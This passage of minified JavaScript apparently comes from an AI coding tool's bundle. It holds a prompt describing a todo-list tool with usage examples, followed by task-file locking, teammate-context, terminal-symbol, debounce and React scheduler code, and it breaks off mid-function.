getCurrentWorkingDirectory across my project Assistant: Let me first search through your codebase to find all occurrences of 'getCwd'. *Uses grep or search tools to locate all instances of getCwd in the codebase* Assistant: I've found 15 instances of 'getCwd' across 8 different files. Let me create a todo list to track these changes. *Creates todo list with specific items for each file that needs updating* <reasoning> The assistant used the todo list because: 1. First, the assistant searched to understand the scope of the task 2. Upon finding multiple occurrences across different files, it determined this was a complex task with multiple steps 3. The todo list helps ensure every instance is tracked and updated systematically 4. This approach prevents missing any occurrences and maintains code consistency </reasoning> </example> <example> User: I need to implement these features for my e-commerce site: user registration, product catalog, shopping cart, and checkout flow. Assistant: I'll help implement these features. First, let's add all the features to the todo list. *Creates a todo list breaking down each feature into specific tasks based on the project architecture* Assistant: Let's start with user registration. This will involve creating database models, API endpoints, and frontend forms that integrate with your existing authentication system. <reasoning> The assistant used the todo list because: 1. The user provided multiple complex features to implement in a comma separated list 2. The todo list helps organize these large features into manageable tasks 3. This approach allows for tracking progress across the entire implementation </reasoning> </example> <example> User: Can you help optimize my React application? It's rendering slowly and has performance issues.</user> Assistant: I'll help optimize your React application. First, let me examine your codebase to identify potential performance bottlenecks. *Reviews component structure, render patterns, state management, and data fetching* Assistant: After analyzing your codebase, I've identified several performance issues. Let me create a todo list to track our optimization efforts. *Creates todo list with items like: 1) Implementing memoization for expensive calculations in ProductList, 2) Adding virtualization for long lists in Dashboard, 3) Optimizing image loading in Gallery component, 4) Fixing state update loops in ShoppingCart, 5) Reviewing bundle size and implementing code splitting* Let's start by implementing memoization for the expensive calculations in your ProductList component.</assistant> <reasoning> The assistant used the todo list because: 1. First, the assistant examined the codebase to identify specific performance issues 2. Based on this analysis, it identified multiple optimization opportunities 3. Performance optimization is a non-trivial task requiring multiple steps 4. The todo list helps methodically track improvements across different components 5. This systematic approach ensures all performance bottlenecks are addressed </reasoning> </example> ## Examples of When NOT to Use the Todo List <example> User: How do I print 'Hello World' in Python? Assistant: In Python, you can print "Hello World" with this simple code: python print("Hello World") This will output the text "Hello World" to the console when executed.</assistant> <reasoning> The assistant did not use the todo list because this is a single, trivial task that can be completed in one step. There's no need to track multiple tasks or steps for such a straightforward request. </reasoning> </example> <example> User: What does the git status command do? Assistant: The git status command shows the current state of your working directory and staging area. It displays which changes have been staged, which haven't, and which files aren't being tracked by Git. This is a fundamental command for understanding the current state of your repository before making commits. <reasoning> The assistant did not use the todo list because this is an informational request with no actual coding task to complete. The user is simply asking for an explanation, not for the assistant to perform multiple steps or tasks. </reasoning> </example> <example> User: Can you add a comment to the calculateTotal function to explain what it does? Assistant: Sure, let me add a comment to the calculateTotal function to explain what it does. * Uses the ${m5} tool to add a comment to the calculateTotal function * <reasoning> The assistant did not use the todo list because this is a single, straightforward task confined to one location in the code. Adding a comment doesn't require tracking multiple steps or systematic organization. </reasoning> </example> <example> User: Run npm install for me and tell me what happens. Assistant: I'll run the npm install command for you. *Executes: npm install* The command completed successfully. Here's the output: [Output of npm install command] All dependencies have been installed according to your package.json file. <reasoning> The assistant did not use the todo list because this is a single command execution with immediate results. There are no multiple steps to track or organize, making the todo list unnecessary for this straightforward task. </reasoning> </example> ## Task States and Management 1. **Task States**: Use these states to track progress: - pending: Task not yet started - in_progress: Currently working on (limit to ONE task at a time) - completed: Task finished successfully **IMPORTANT**: Task descriptions must have two forms: - content: The imperative form describing what needs to be done (e.g., "Run tests", "Build the project") - activeForm: The present continuous form shown during execution (e.g., "Running tests", "Building the project") 2. **Task Management**: - Update task status in real-time as you work - Mark tasks complete IMMEDIATELY after finishing (don't batch completions) - Exactly ONE task must be in_progress at any time (not less, not more) - Complete current tasks before starting new ones - Remove tasks that are no longer relevant from the list entirely 3. **Task Completion Requirements**: - ONLY mark a task as completed when you have FULLY accomplished it - If you encounter errors, blockers, or cannot finish, keep the task as in_progress - When blocked, create a new task describing what needs to be resolved - Never mark a task as completed if: - Tests are failing - Implementation is partial - You encountered unresolved errors - You couldn't find necessary files or dependencies 4. **Task Breakdown**: - Create specific, actionable items - Break complex tasks into smaller, manageable steps - Use clear, descriptive task names - Always provide both forms: - content: "Fix authentication bug" - activeForm: "Fixing authentication bug" When in doubt, use this tool. Being proactive with task management demonstrates attentiveness and ensures you complete all requirements successfully. `});var ka3,Ca3,HXA;var q76=k(()=>{z7();ka3=U.enum(["pending","in_progress","completed"]),Ca3=U.object({content:U.string().min(1,"Content cannot be empty"),status:ka3,activeForm:U.string().min(1,"Active form cannot be empty")}),HXA=U.array(Ca3)});function qJ4(){return null}function YJ4(){return null}function zJ4(){return null}function wJ4(){return null}function HJ4(){return null}var EQ="TodoWrite";import{AsyncLocalStorage as La3}from"async_hooks";function Ik(){return Y76.getStore()}function pq1(A,K){return Y76.run(A,K)}function hZ(){return Y76.getStore()!==void 0}function dq1(A){return{...A,isInProcess:!0}}var Y76;var NT=k(()=>{Y76=new La3});var J76={};_q(J76,{waitForTeammatesToBecomeIdle:()=>H76,setDynamicTeamContext:()=>z76,runWithTeammateContext:()=>pq1,isTeammate:()=>m2,isTeamLead:()=>sX,isPlanModeRequired:()=>jyA,isInProcessTeammate:()=>hZ,hasWorkingInProcessTeammates:()=>w76,hasActiveInProcessTeammates:()=>cq1,getTeammateContext:()=>Ik,getTeammateColor:()=>PJ,getTeamName:()=>T3,getParentSessionId:()=>tn,getDynamicTeamContext:()=>DyA,getAgentName:()=>b9,getAgentId:()=>q_,createTeammateContext:()=>dq1,clearDynamicTeamContext:()=>Ra3});function tn(){let A=Ik();if(A)return A.parentSessionId;return TT?.parentSessionId}function z76(A){TT=A}function Ra3(){TT=null}function DyA(){return TT}function q_(){let A=Ik();if(A)return A.agentId;return TT?.agentId}function b9(){let A=Ik();if(A)return A.agentName;return TT?.agentName}function T3(A){let K=Ik();if(K)return K.teamName;if(TT?.teamName)return TT.teamName;return A?.teamName}function m2(){if(Ik())return!0;return!!(TT?.agentId&&TT?.teamName)}function PJ(){let A=Ik();if(A)return A.color;return TT?.color}function jyA(){let A=Ik();if(A)return A.planModeRequired;if(TT!==null)return TT.planModeRequired;return process.env.CLAUDE_CODE_PLAN_MODE_REQUIRED==="true"}function sX(A){if(!A?.leadAgentId)return!1;let K=q_(),q=A.leadAgentId;if(K===q)return!0;if(!K)return!0;return!1}function cq1(A){for(let K of Object.values(A.tasks))if(K.type==="in_process_teammate"&&K.status==="running")return!0;return!1}function w76(A){for(let K of Object.values(A.tasks))if(K.type==="in_process_teammate"&&K.status==="running"&&!K.isIdle)return!0;return!1}function H76(A,K){let q=[];for(let[Y,z]of Object.entries(K.tasks))if(z.type==="in_process_teammate"&&z.status==="running"&&!z.isIdle)q.push(Y);if(q.length===0)return Promise.resolve();return new Promise((Y)=>{let z=q.length,w=()=>{if(z--,z===0)Y()};A((H)=>{let J={...H.tasks};for(let O of q){let X=J[O];if(X&&X.type==="in_process_teammate")if(X.isIdle)w();else J[O]={...X,onIdleCallbacks:[...X.onIdleCallbacks??[],w]}}return{...H,tasks:J}})})}var TT=null;var W2=k(()=>{NT();NT()});import{join as JXA}from"path";import{existsSync as en,mkdirSync as ya3,readdirSync as X76,readFileSync as JJ4,unlinkSync as OJ4}from"fs";function XJ4(A){return O76.add(A),()=>O76.delete(A)}function lq1(){for(let A of O76)try{A()}catch{}}function $J4(A){return JXA(Sk(A),Sa3)}function $76(A){let K=$J4(A);try{let q=JJ4(K,"utf-8").trim(),Y=parseInt(q,10);return isNaN(Y)?0:Y}catch{return 0}}function _J4(A,K){let q=$J4(A);x8(q,String(K))}function ew(){if(J2(process.env.CLAUDE_CODE_ENABLE_TASKS))return!1;if(P1(process.env.CLAUDE_CODE_ENABLE_TASKS))return!0;if(b7())return!1;return!0}function iq1(A){let K=Sk(A);VyA(A);let q=JXA(K,".lock");if(!en(q))x8(q,"");let Y;try{Y=MyA.default.lockSync(q);let z=GJ4(A);if(z>0){let w=$76(A);if(z>w)_J4(A,z)}if(en(K)){let w=X76(K);for(let H of w)if(H.endsWith(".json")&&!H.startsWith(".")){let J=JXA(K,H);try{OJ4(J)}catch{}}}lq1()}finally{if(Y)Y()}}function JM(){if(process.env.CLAUDE_CODE_TASK_LIST_ID)return process.env.CLAUDE_CODE_TASK_LIST_ID;let A=Ik();if(A)return A.parentSessionId;return T3()||d1()}function Ar(A){return A.replace(/[^a-zA-Z0-9_-]/g,"-")}function Sk(A){return JXA(w8(),"tasks",Ar(A))}function PyA(A,K){return JXA(Sk(A),`${Ar(K)}.json`)}function VyA(A){let K=Sk(A);if(!en(K))ya3(K,{recursive:!0})}function GJ4(A){let K=Sk(A);if(!en(K))return 0;let q=X76(K),Y=0;for(let z of q){if(!z.endsWith(".json"))continue;let w=parseInt(z.replace(".json",""),10);if(!isNaN(w)&&w>Y)Y=w}return Y}function ha3(A){let K=GJ4(A),q=$76(A);return Math.max(K,q)}function OXA(A,K){let q=ZJ4(A),Y;try{Y=MyA.default.lockSync(q);let z=ha3(A),w=String(z+1),H={id:w,...K},J=PyA(A,w);return x8(J,UA(H,null,2)),lq1(),w}finally{if(Y)Y()}}function kQ(A,K){let q=PyA(A,K);try{let Y=JJ4(q,"utf-8"),z=G6(Y),w=Ia3.safeParse(z);if(!w.success)return h(`[Tasks] Task ${K} failed schema validation: ${w.error.message}`),null;return w.data}catch(Y){if(Y.code==="ENOENT")return null;return h(`[Tasks] Failed to read task ${K}: ${Y instanceof Error?Y.message:String(Y)}`),KA(Y instanceof Error?Y:Error(String(Y))),null}}function Ey(A,K,q){let Y=kQ(A,K);if(!Y)return null;let z={...Y,...q,id:K},w=PyA(A,K);return x8(w,UA(z,null,2)),lq1(),z}function nq1(A,K){let q=PyA(A,K);if(!en(q))return!1;try{let Y=parseInt(K,10);if(!isNaN(Y)){let w=$76(A);if(Y>w)_J4(A,Y)}OJ4(q);let z=OG(A);for(let w of z){let H=w.blocks.filter((O)=>O!==K),J=w.blockedBy.filter((O)=>O!==K);if(H.length!==w.blocks.length||J.length!==w.blockedBy.length)Ey(A,w.id,{blocks:H,blockedBy:J})}return lq1(),!0}catch{return!1}}function OG(A){let K=Sk(A);if(!en(K))return[];let q=X76(K),Y=[];for(let z of q){if(!z.endsWith(".json"))continue;let w=z.replace(".json",""),H=kQ(A,w);if(H)Y.push(H)}return Y}function _76(A,K,q){let Y=kQ(A,K),z=kQ(A,q);if(!Y||!z)return!1;if(!Y.blocks.includes(q))Ey(A,K,{blocks:[...Y.blocks,q]});if(!z.blockedBy.includes(K))Ey(A,q,{blockedBy:[...z.blockedBy,K]});return!0}function ba3(A){return JXA(Sk(A),".lock")}function ZJ4(A){VyA(A);let K=ba3(A);if(!en(K))x8(K,"");return K}function G76(A,K,q,Y={}){let z=PyA(A,K);if(!en(z))return{success:!1,reason:"task_not_found"};if(Y.checkAgentBusy)return xa3(A,K,q);let w;try{w=MyA.default.lockSync(z);let H=kQ(A,K);if(!H)return{success:!1,reason:"task_not_found"};if(H.owner&&H.owner!==q)return{success:!1,reason:"already_claimed",task:H};if(H.status==="completed")return{success:!1,reason:"already_resolved",task:H};let J=OG(A),O=new Set(J.filter((_)=>_.status!=="completed").map((_)=>_.id)),X=H.blockedBy.filter((_)=>O.has(_));if(X.length>0)return{success:!1,reason:"blocked",task:H,blockedByTasks:X};return{success:!0,task:Ey(A,K,{owner:q})}}catch(H){return h(`[Tasks] Failed to claim task ${K}: ${H instanceof Error?H.message:String(H)}`),KA(H instanceof Error?H:Error(String(H))),{success:!1,reason:"task_not_found"}}finally{if(w)w()}}function xa3(A,K,q){let Y=ZJ4(A),z;try{z=MyA.default.lockSync(Y);let w=OG(A),H=w.find((_)=>_.id===K);if(!H)return{success:!1,reason:"task_not_found"};if(H.owner&&H.owner!==q)return{success:!1,reason:"already_claimed",task:H};if(H.status==="completed")return{success:!1,reason:"already_resolved",task:H};let J=new Set(w.filter((_)=>_.status!=="completed").map((_)=>_.id)),O=H.blockedBy.filter((_)=>J.has(_));if(O.length>0)return{success:!1,reason:"blocked",task:H,blockedByTasks:O};let X=w.filter((_)=>_.status!=="completed"&&_.owner===q&&_.id!==K);if(X.length>0)return{success:!1,reason:"agent_busy",task:H,busyWithTasks:X.map((_)=>_.id)};return{success:!0,task:Ey(A,K,{owner:q})}}catch(w){return h(`[Tasks] Failed to claim task ${K} with busy check: ${w instanceof Error?w.message:String(w)}`),KA(w instanceof Error?w:Error(String(w))),{success:!1,reason:"task_not_found"}}finally{if(z)z()}}function Kr(A,K,q,Y){let w=OG(A).filter((O)=>O.status!=="completed"&&(O.owner===K||O.owner===q));for(let O of w)Ey(A,O.id,{owner:void 0,status:"pending"});if(w.length>0)h(`[Tasks] Unassigned ${w.length} task(s) from ${q}`);let J=`${q} ${Y==="terminated"?"was terminated":"has shut down"}.`;if(w.length>0){let O=w.map((X)=>`#${X.id} "${X.subject}"`).join(", ");J+=` ${w.length} task(s) were unassigned: ${O}. Use TaskList to check availability and TaskUpdate with owner to reassign them to idle teammates.`}return{unassignedTasks:w.map((O)=>({id:O.id,subject:O.subject})),notificationMessage:J}}var MyA,O76,z4A,Ia3,Sa3=".highwatermark",Z76="tasklist";var VJ=k(()=>{b1();l6();q6();l6();z7();C1();Z1();b1();W2();NT();MyA=o(Yb(),1),O76=new Set;z4A=U.enum(["pending","in_progress","completed"]),Ia3=U.object({id:U.string(),subject:U.string(),description:U.string(),activeForm:U.string().optional(),owner:U.string().optional(),status:z4A,blocks:U.array(U.string()),blockedBy:U.array(U.string()),metadata:U.record(U.string(),U.unknown()).optional()})});var ua3,Ba3,o0;var XXA=k(()=>{z7();KJ4();q76();q6();VJ();ua3=U.strictObject({todos:HXA.describe("The updated todo list")}),Ba3=U.object({oldTodos:HXA.describe("The todo list before the update"),newTodos:HXA.describe("The todo list after the update")}),o0={name:EQ,maxResultSizeChars:1e5,strict:!0,input_examples:[{todos:[{content:"Fix the login bug",status:"pending",activeForm:"Fixing the login bug"}]},{todos:[{content:"Implement feature",status:"completed",activeForm:"Implementing feature"},{content:"Write unit tests",status:"in_progress",activeForm:"Writing unit tests"}]}],async description(){return AJ4},async prompt(){return eH4},inputSchema:ua3,outputSchema:Ba3,userFacingName(){return""},isEnabled(){return!ew()},isConcurrencySafe(){return!1},isReadOnly(){return!1},async checkPermissions(A){return{behavior:"allow",updatedInput:A}},renderToolUseMessage:qJ4,renderToolUseProgressMessage:YJ4,renderToolUseRejectedMessage:zJ4,renderToolUseErrorMessage:wJ4,renderToolResultMessage:HJ4,async call({todos:A},K){let q=await K.getAppState(),Y=K.agentId??d1(),z=q.todos[Y]??[],w=A.every((H)=>H.status==="completed")?[]:A;return K.setAppState((H)=>({...H,todos:{...H.todos,[Y]:w}})),{data:{oldTodos:z,newTodos:A}}},mapToolResultToToolResultBlockParam(A,K){return{tool_use_id:K,type:"tool_result",content:"Todos have been modified successfully. Ensure that you continue to use the todo list to track your progress. Please proceed with the current tasks if applicable"}}}});var WJ4,ma3,s=function(A){return ma3.H.useMemoCache(A)};var cA=k(()=>{WJ4=o($A(),1),ma3=WJ4.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE});import DJ4 from"node:process";function W76(){let{env:A}=DJ4,{TERM:K,TERM_PROGRAM:q}=A;if(DJ4.platform!=="win32")return K!=="linux";return Boolean(A.WT_SESSION)||Boolean(A.TERMINUS_SUBLIME)||A.ConEmuTask==="{cmd::Cmder}"||q==="Terminus-Sublime"||q==="vscode"||K==="xterm-256color"||K==="alacritty"||K==="rxvt-unicode"||K==="rxvt-unicode-256color"||A.TERMINAL_EMULATOR==="JetBrains-JediTerm"}var jJ4=()=>{};var MJ4,PJ4,ga3,Fa3,Qa3,Ua3,pa3,eA,TKw;var g4=k(()=>{jJ4();MJ4={circleQuestionMark:"(?)",questionMarkPrefix:"(?)",square:"█",squareDarkShade:"▓",squareMediumShade:"▒",squareLightShade:"░",squareTop:"▀",squareBottom:"▄",squareLeft:"▌",squareRight:"▐",squareCenter:"■",bullet:"●",dot:"․",ellipsis:"…",pointerSmall:"›",triangleUp:"▲",triangleUpSmall:"▴",triangleDown:"▼",triangleDownSmall:"▾",triangleLeftSmall:"◂",triangleRightSmall:"▸",home:"⌂",heart:"♥",musicNote:"♪",musicNoteBeamed:"♫",arrowUp:"↑",arrowDown:"↓",arrowLeft:"←",arrowRight:"→",arrowLeftRight:"↔",arrowUpDown:"↕",almostEqual:"≈",notEqual:"≠",lessOrEqual:"≤",greaterOrEqual:"≥",identical:"≡",infinity:"∞",subscriptZero:"₀",subscriptOne:"₁",subscriptTwo:"₂",subscriptThree:"₃",subscriptFour:"₄",subscriptFive:"₅",subscriptSix:"₆",subscriptSeven:"₇",subscriptEight:"₈",subscriptNine:"₉",oneHalf:"½",oneThird:"⅓",oneQuarter:"¼",oneFifth:"⅕",oneSixth:"⅙",oneEighth:"⅛",twoThirds:"⅔",twoFifths:"⅖",threeQuarters:"¾",threeFifths:"⅗",threeEighths:"⅜",fourFifths:"⅘",fiveSixths:"⅚",fiveEighths:"⅝",sevenEighths:"⅞",line:"─",lineBold:"━",lineDouble:"═",lineDashed0:"┄",lineDashed1:"┅",lineDashed2:"┈",lineDashed3:"┉",lineDashed4:"╌",lineDashed5:"╍",lineDashed6:"╴",lineDashed7:"╶",lineDashed8:"╸",lineDashed9:"╺",lineDashed10:"╼",lineDashed11:"╾",lineDashed12:"−",lineDashed13:"–",lineDashed14:"‐",lineDashed15:"⁃",lineVertical:"│",lineVerticalBold:"┃",lineVerticalDouble:"║",lineVerticalDashed0:"┆",lineVerticalDashed1:"┇",lineVerticalDashed2:"┊",lineVerticalDashed3:"┋",lineVerticalDashed4:"╎",lineVerticalDashed5:"╏",lineVerticalDashed6:"╵",lineVerticalDashed7:"╷",lineVerticalDashed8:"╹",lineVerticalDashed9:"╻",lineVerticalDashed10:"╽",lineVerticalDashed11:"╿",lineDownLeft:"┐",lineDownLeftArc:"╮",lineDownBoldLeftBold:"┓",lineDownBoldLeft:"┒",lineDownLeftBold:"┑",lineDownDoubleLeftDouble:"╗",lineDownDoubleLeft:"╖",lineDownLeftDouble:"╕",lineDownRight:"┌",lineDownRightArc:"╭",lineDownBoldRightBold:"┏",lineDownBoldRight:"┎",lineDownRightBold:"┍",lineDownDoubleRightDouble:"╔",lineDownDoubleRight:"╓",lineDownRightDouble:"╒",lineUpLeft:"┘",lineUpLeftArc:"╯",lineUpBoldLeftBold:"┛",lineUpBoldLeft:"┚",lineUpLeftBold:"┙",lineUpDoubleLeftDouble:"╝",lineUpDoubleLeft:"╜",lineUpLeftDouble:"╛",lineUpRight:"└",lineUpRightArc:"╰",lineUpBoldRightBold:"┗",lineUpBoldRight:"┖",lineUpRightBold:"┕",lineUpDoubleRightDouble:"╚",lineUpDoubleRight:"╙",lineUpRightDouble:"╘",lineUpDownLeft:"┤",lineUpBoldDownBoldLeftBold:"┫",lineUpBoldDownBoldLeft:"┨",lineUpDownLeftBold:"┥",lineUpBoldDownLeftBold:"┩",lineUpDownBoldLeftBold:"┪",lineUpDownBoldLeft:"┧",lineUpBoldDownLeft:"┦",lineUpDoubleDownDoubleLeftDouble:"╣",lineUpDoubleDownDoubleLeft:"╢",lineUpDownLeftDouble:"╡",lineUpDownRight:"├",lineUpBoldDownBoldRightBold:"┣",lineUpBoldDownBoldRight:"┠",lineUpDownRightBold:"┝",lineUpBoldDownRightBold:"┡",lineUpDownBoldRightBold:"┢",lineUpDownBoldRight:"┟",lineUpBoldDownRight:"┞",lineUpDoubleDownDoubleRightDouble:"╠",lineUpDoubleDownDoubleRight:"╟",lineUpDownRightDouble:"╞",lineDownLeftRight:"┬",lineDownBoldLeftBoldRightBold:"┳",lineDownLeftBoldRightBold:"┯",lineDownBoldLeftRight:"┰",lineDownBoldLeftBoldRight:"┱",lineDownBoldLeftRightBold:"┲",lineDownLeftRightBold:"┮",lineDownLeftBoldRight:"┭",lineDownDoubleLeftDoubleRightDouble:"╦",lineDownDoubleLeftRight:"╥",lineDownLeftDoubleRightDouble:"╤",lineUpLeftRight:"┴",lineUpBoldLeftBoldRightBold:"┻",lineUpLeftBoldRightBold:"┷",lineUpBoldLeftRight:"┸",lineUpBoldLeftBoldRight:"┹",lineUpBoldLeftRightBold:"┺",lineUpLeftRightBold:"┶",lineUpLeftBoldRight:"┵",lineUpDoubleLeftDoubleRightDouble:"╩",lineUpDoubleLeftRight:"╨",lineUpLeftDoubleRightDouble:"╧",lineUpDownLeftRight:"┼",lineUpBoldDownBoldLeftBoldRightBold:"╋",lineUpDownBoldLeftBoldRightBold:"╈",lineUpBoldDownLeftBoldRightBold:"╇",lineUpBoldDownBoldLeftRightBold:"╊",lineUpBoldDownBoldLeftBoldRight:"╉",lineUpBoldDownLeftRight:"╀",lineUpDownBoldLeftRight:"╁",lineUpDownLeftBoldRight:"┽",lineUpDownLeftRightBold:"┾",lineUpBoldDownBoldLeftRight:"╂",lineUpDownLeftBoldRightBold:"┿",lineUpBoldDownLeftBoldRight:"╃",lineUpBoldDownLeftRightBold:"╄",lineUpDownBoldLeftBoldRight:"╅",lineUpDownBoldLeftRightBold:"╆",lineUpDoubleDownDoubleLeftDoubleRightDouble:"╬",lineUpDoubleDownDoubleLeftRight:"╫",lineUpDownLeftDoubleRightDouble:"╪",lineCross:"╳",lineBackslash:"╲",lineSlash:"╱"},PJ4={tick:"✔",info:"ℹ",warning:"⚠",cross:"✘",squareSmall:"◻",squareSmallFilled:"◼",circle:"◯",circleFilled:"◉",circleDotted:"◌",circleDouble:"◎",circleCircle:"ⓞ",circleCross:"ⓧ",circlePipe:"Ⓘ",radioOn:"◉",radioOff:"◯",checkboxOn:"☒",checkboxOff:"☐",checkboxCircleOn:"ⓧ",checkboxCircleOff:"Ⓘ",pointer:"❯",triangleUpOutline:"△",triangleLeft:"◀",triangleRight:"▶",lozenge:"◆",lozengeOutline:"◇",hamburger:"☰",smiley:"㋡",mustache:"෴",star:"★",play:"▶",nodejs:"⬢",oneSeventh:"⅐",oneNinth:"⅑",oneTenth:"⅒"},ga3={tick:"√",info:"i",warning:"‼",cross:"×",squareSmall:"□",squareSmallFilled:"■",circle:"( )",circleFilled:"(*)",circleDotted:"( )",circleDouble:"( )",circleCircle:"(○)",circleCross:"(×)",circlePipe:"(│)",radioOn:"(*)",radioOff:"( )",checkboxOn:"[×]",checkboxOff:"[ ]",checkboxCircleOn:"(×)",checkboxCircleOff:"( )",pointer:">",triangleUpOutline:"∆",triangleLeft:"◄",triangleRight:"►",lozenge:"♦",lozengeOutline:"◊",hamburger:"≡",smiley:"☺",mustache:"┌─┐",star:"✶",play:"►",nodejs:"♦",oneSeventh:"1/7",oneNinth:"1/9",oneTenth:"1/10"},Fa3={...MJ4,...PJ4},Qa3={...MJ4,...ga3},Ua3=W76(),pa3=Ua3?Fa3:Qa3,eA=pa3,TKw=Object.entries(PJ4)});function VJ4(A,K,{signal:q,edges:Y}={}){let z=void 0,w=null,H=Y!=null&&Y.includes("leading"),J=Y==null||Y.includes("trailing"),O=()=>{if(w!==null)A.apply(z,w),z=void 0,w=null},X=()=>{if(J)O();Z()},$=null,_=()=>{if($!=null)clearTimeout($);$=setTimeout(()=>{$=null,X()},K)},G=()=>{if($!==null)clearTimeout($),$=null},Z=()=>{G(),z=void 0,w=null},W=()=>{G(),O()},D=function(...j){if(q?.aborted)return;z=this,w=j;let M=$==null;if(_(),H&&M)O()};return D.schedule=_,D.cancel=Z,D.flush=W,q?.addEventListener("abort",Z,{once:!0}),D}var fJ4=()=>{};function NJ4(A,K=0,q={}){if(typeof q!=="object")q={};let{signal:Y,leading:z=!1,trailing:w=!0,maxWait:H}=q,J=Array(2);if(z)J[0]="leading";if(w)J[1]="trailing";let O=void 0,X=null,$=VJ4(function(...Z){O=A.apply(this,Z),X=null},K,{signal:Y,edges:J}),_=function(...Z){if(H!=null){if(X===null)X=Date.now();else if(Date.now()-X>=H)return O=A.apply(this,Z),X=Date.now(),$.cancel(),$.schedule(),O}return $.apply(this,Z),O},G=()=>{return $.flush(),O};return _.cancel=$.cancel,_.flush=G,_}var TJ4=k(()=>{fJ4()});function D76(A,K=0,q={}){if(typeof q!=="object")q={};let{leading:Y=!0,trailing:z=!0,signal:w}=q;return NJ4(A,K,{leading:Y,trailing:z,signal:w,maxWait:K})}var vJ4=k(()=>{TJ4()});var EJ4=k(()=>{vJ4()});function j76(A,{include:K,exclude:q}={}){let Y=(z)=>{let w=(H)=>typeof H==="string"?z===H:H.test(z);if(K)return K.some(w);if(q)return!q.some(w);return!0};for(let[z,w]of da3(A.constructor.prototype)){if(w==="constructor"||!Y(w))continue;let H=Reflect.getOwnPropertyDescriptor(z,w);if(H&&typeof H.value==="function")A[w]=A[w].bind(A)}return A}var da3=(A)=>{let K=new Set;do for(let q of Reflect.ownKeys(A))K.add([A,q]);while((A=Reflect.getPrototypeOf(A))&&A!==Object.prototype);return K};import{PassThrough as kJ4}from"node:stream";var CJ4,M76,ca3=(A)=>{let K=new kJ4,q=new kJ4;K.write=(z)=>{A("stdout",z)},q.write=(z)=>{A("stderr",z)};let Y=new console.Console(K,q);for(let z of CJ4)M76[z]=console[z],console[z]=Y[z];return()=>{for(let z of CJ4)console[z]=M76[z];M76={}}},LJ4;var RJ4=k(()=>{CJ4=["assert","count","countReset","debug","dir","dirxml","error","group","groupCollapsed","groupEnd","info","log","table","time","timeEnd","timeLog","trace","warn"],M76={},LJ4=ca3});function f76(A,K){var q=A.length;A.push(K);A:for(;0<q;){var Y=q-1>>>1,z=A[Y];if(0<rq1(z,K))A[Y]=K,A[q]=z,q=Y;else break A}}function Cx(A){return A.length===0?null:A[0]}function tq1(A){if(A.length===0)return null;var K=A[0],q=A.pop();if(q!==K){A[0]=q;A:for(var Y=0,z=A.length,w=z>>>1;Y<w;){var H=2*(Y+1)-1,J=A[H],O=H+1,X=A[O];if(0>rq1(J,q))O<z&&0>rq1(X,J)?(A[Y]=X,A[O]=q,Y=O):(A[Y]=J,A[H]=q,Y=H);else if(O<z&&0>rq1(X,q))A[Y]=X,A[O]=q,Y=O;else break A}}return K}function rq1(A,K){var q=A.sortIndex-K.sortIndex;return q!==0?q:A.id-K.id}function aq1(A){for(var K=Cx(qr);K!==null;){if(K.callback===null)tq1(qr);else if(K.startTime<=A)tq1(qr),K.sortIndex=K.expirationTime,f76(CQ,K);else break;K=Cx(qr)}}function C76(A){if(NyA=!1,aq1(A),!fyA)if(Cx(CQ)!==null)fyA=!0,_XA||(_XA=!0,$XA());else{var K=Cx(qr);K!==null&&L76(C76,K.startTime-A)}}function bJ4(){return k76?!0:Lx()-hJ4<ia3?!1:!0}function V76(){if(k76=!1,_XA){var A=Lx();hJ4=A;var K=!0;try{A:{fyA=!1,NyA&&(NyA=!1,SJ4(TyA),TyA=-1),v76=!0;var q=P76;try{K:{aq1(A);for(hk=Cx(CQ);hk!==null&&!(hk.expirationTime>A&&bJ4());){var Y=hk.callback;if(typeof Y==="function"){hk.callback=null,P76=hk.priorityLevel;var z=Y(hk.expirationTime<=A);if(A=Lx(),typeof z==="function"){hk.callback=z,aq1(A),K=!0;break K}hk===Cx(CQ)&&tq1(CQ),aq1(A)}else tq1(CQ);hk=Cx(CQ)}if(hk!==null)K=!0;else{var w=Cx(qr);w!==null&&L76(C76,w.startTime-A),K=!1}}break A}finally{hk=null,P76=q,v76=!1}K=void 0}}finally{K?$XA():_XA=!1}}}function L76(A,K){TyA=IJ4(function(){A(Lx())},K)}var Lx=void 0,N76,oq1,T76,CQ,qr,la3=1,hk=null,P76=3,v76=!1,fyA=!1,NyA=!1,k76=!1,IJ4,SJ4,yJ4,_XA=!1,TyA=-1,ia3=5,hJ4=-1,$XA,sq1,E76,R76=5,y76=1,eq1=3,I76=2,S76=function(A){A.callback=null},h76=function(){k76=!0},A51=function(A,K,q){var Y=Lx();switch(typeof q==="object"&&q!==null?(q=q.delay,q=typeof q==="number"&&0<q?Y+q:Y):q=Y,A){case 1:var z=-1;break;case 2:z=250;break;case 5:z=1073741823;break;case 4:z=1e4;break;default:z=5000}return z=q+z,A={id:la3++,callback:K,priorityLevel:A,startTime:q,expirationTime:z,sortIndex:-1},q>Y?(A.sortIndex=q,f76(qr,A),Cx(CQ)===null&&A===Cx(qr)&&(NyA?(SJ4(TyA),TyA=-1):NyA=!0,L76(C76,q-Y))):(A.sortIndex=z,f76(CQ,A),fyA||v76||(fyA=!0,_XA||(_XA=!0,$XA()))),A},b76;var uJ4=k(()=>{if(typeof performance==="object"&&typeof performance.now==="function")N76=performance,Lx=function(){return N76.now()};else oq1=Date,T76=oq1.now(),Lx=function(){return oq1.now()-T76};CQ=[],qr=[],IJ4=typeof setTimeout==="function"?setTimeout:null,SJ4=typeof clearTimeout==="function"?clearTimeout:null,yJ4=typeof setImmediate<"u"?setImmediate:null;if(typeof yJ4==="function")$XA=function(){yJ4(V76)};else if(typeof MessageChannel<"u")sq1=new MessageChannel,E76=sq1.port2,sq1.port1.onmessage=V76,$XA=function(){E76.postMessage(null)};else $XA=function(){IJ4(V76,0)};b76=bJ4});var BJ4=v((xKw,vyA)=>{uJ4();var x76=o($A());vyA.exports=function(A){function K(E,L,g,p){return new dC1(E,L,g,p)}function q(){}function Y(E){var L="https://react.dev/errors/"+E;if(1<arguments.length){L+="?args[]="+encodeURIComponent(arguments[1]);for(var g=2;g<arguments.length;g++)L+="&args[]="+encodeURIComponent(arguments[g])}return"Minified React error #"+E+"; visit "+L+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}function z(E){var L=E,g=E;if(E.alternate)for(;L.return;)L=L.return;else{E=L;do L=E,(L.flags&4098)!==0&&(g=L.return),E=L.return;while(E)}return L.tag===3?g:null}function w(E){if(z(E)!==E)throw Error(Y(188))}function H(E){var L=E.alternate;if(!L){if(L=z(E),L===null)throw 